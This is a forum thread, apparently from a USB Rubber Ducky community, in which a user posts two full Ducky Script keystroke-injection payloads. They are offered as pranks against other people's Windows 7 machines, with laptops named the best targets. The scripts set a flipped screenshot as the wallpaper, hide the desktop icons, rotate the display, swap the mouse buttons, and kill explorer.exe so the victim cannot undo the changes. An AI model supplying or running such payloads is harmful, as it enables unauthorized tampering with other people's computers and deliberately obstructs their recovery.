crazyman Posted December 11, 2012 Share Posted December 11, 2012 I borrowed and tweaked some of my favorite prank payloads. Together, they create a fairly screwy effect. This script is intended for Windows 7 PCs with a single monitor. I find that laptops are the best targets. Ducky Code: REM ********************************************************************************** REM * This takes a screenshot of the desktop, disables desktop icons, * REM * rotates the screenshot 180 degrees, and makes it the desktop background image. * REM * -- Borrowed from some of Darren Kitchen's work * REM ********************************************************************************** DELAY 2000 GUI d DELAY 500 PRINTSCREEN DELAY 100 MENU DELAY 300 STRING V DELAY 100 STRING D DELAY 100 GUI r DELAY 100 STRING mspaint ENTER DELAY 300 CTRL v DELAY 100 ALT V DELAY 100 LEFT DELAY 100 DOWN DELAY 100 RIGHT DELAY 100 RIGHT DELAY 100 RIGHT DELAY 100 DOWN DELAY 100 ENTER DELAY 100 DOWN DELAY 100 DOWN DELAY 100 ENTER DELAY 100 CTRL s DELAY 200 STRING %userprofile%\a.bmp ENTER DELAY 200 ALT f DELAY 200 STRING K DELAY 100 STRING F DELAY 300 ALT F4 DELAY 300 GUI d REM ********************************************* REM * This Part rotates the screen 180 degrees * REM * -- Borrowed from BrokenProphet * REM ********************************************* DELAY 1000 CONTROL ESCAPE DELAY 100 STRING Screen Resolution DELAY 100 ENTER DELAY 100 TAB DELAY 100 TAB DELAY 100 TAB DELAY 100 DOWN DELAY 100 DOWN DELAY 100 TAB DELAY 100 TAB DELAY 100 TAB DELAY 100 TAB DELAY 100 TAB DELAY 100 TAB DELAY 100 ENTER DELAY 100 TAB DELAY 100 ENTER DELAY 500 GUI d DELAY 200 CONTROL ESCAPE DELAY 200 STRING mouse DELAY 200 REM this is opening up the mouse config. ENTER DELAY 200 STRING s DELAY 200 ENTER REM *********************************************************************************** REM * This part Kill Proccess "explorer.exe" so that the real task bar is not visible * REM * and the user cannot right-click to correct the screen resolution settings * REM * -- Borrowed from overwraith * REM *********************************************************************************** DELAY 300 CONTROL ESC DELAY 100 STRING cmd DELAY 100 ENTER DELAY 300 STRING taskkill /f /im "explorer.exe" DELAY 300 ENTER DELAY 300 STRING exit DELAY 300 ENTER Quote Link to comment Share on other sites More sharing options...
crazyman Posted December 11, 2012 Author Share Posted December 11, 2012 Here's the one that I made for dual monitor support. Ducky Code: REM ********************************************************************************** REM * This takes a screenshot of the desktop, disables desktop icons, * REM * rotates the screenshot 180 degrees, and makes it the desktop background image. * REM * -- Borrowed from some of Darren Kitchen's work * REM ********************************************************************************** DELAY 2000 GUI d DELAY 500 PRINTSCREEN DELAY 100 MENU DELAY 300 STRING V DELAY 100 STRING D DELAY 100 GUI r DELAY 100 STRING mspaint ENTER DELAY 300 CTRL v DELAY 100 ALT V DELAY 100 LEFT DELAY 100 DOWN DELAY 100 RIGHT DELAY 100 RIGHT DELAY 100 RIGHT DELAY 100 DOWN DELAY 100 ENTER DELAY 100 DOWN DELAY 100 DOWN DELAY 100 ENTER DELAY 100 CTRL s DELAY 200 STRING %userprofile%\a.bmp ENTER DELAY 200 ALT f DELAY 200 STRING K DELAY 100 STRING T DELAY 300 ALT F4 DELAY 300 GUI d REM ********************************************* REM * This Part rotates the screens 180 degrees * REM * -- Borrowed some from BrokenProphet * REM ********************************************* DELAY 300 CONTROL ESCAPE DELAY 200 STRING Screen Resolution DELAY 200 ENTER DELAY 100 TAB DELAY 100 TAB DELAY 100 TAB DELAY 100 DOWN DELAY 100 DOWN DELAY 100 TAB DELAY 100 TAB DELAY 100 TAB DELAY 100 TAB DELAY 100 TAB DELAY 100 TAB DELAY 100 TAB DELAY 100 TAB DELAY 100 TAB DELAY 100 TAB DELAY 100 TAB DELAY 100 TAB DELAY 100 TAB DELAY 100 TAB DELAY 100 DOWN DELAY 100 TAB DELAY 100 TAB DELAY 100 DOWN DELAY 100 DOWN DELAY 100 TAB DELAY 100 TAB DELAY 100 TAB DELAY 100 TAB DELAY 100 TAB DELAY 100 ENTER DELAY 100 TAB DELAY 100 ENTER REM ************************************* REM * This swaps the mouse buttons * REM ************************************* DELAY 500 GUI d DELAY 200 CONTROL ESCAPE DELAY 200 STRING mouse DELAY 200 REM this is opening up the mouse config. ENTER DELAY 200 STRING s DELAY 200 ENTER REM *********************************************************************************** REM * This part Kill Proccess "explorer.exe" so that the real task bar is not visible * REM * and the user cannot right-click to correct the screen resolution settings * REM * -- Borrowed from overwraith * REM *********************************************************************************** DELAY 300 CONTROL ESC DELAY 100 STRING cmd DELAY 100 ENTER DELAY 300 STRING taskkill /f /im "explorer.exe" DELAY 300 ENTER DELAY 300 STRING exit DELAY 300 ENTER Quote Link to comment Share on other sites More sharing options...
Recommended Posts
Join the conversation
You can post now and register later. If you have an account, sign in now to post with your account.